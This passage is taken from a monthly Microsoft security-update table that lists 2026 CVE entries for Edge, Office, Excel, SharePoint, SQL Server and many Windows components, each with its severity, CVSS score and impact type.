No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot 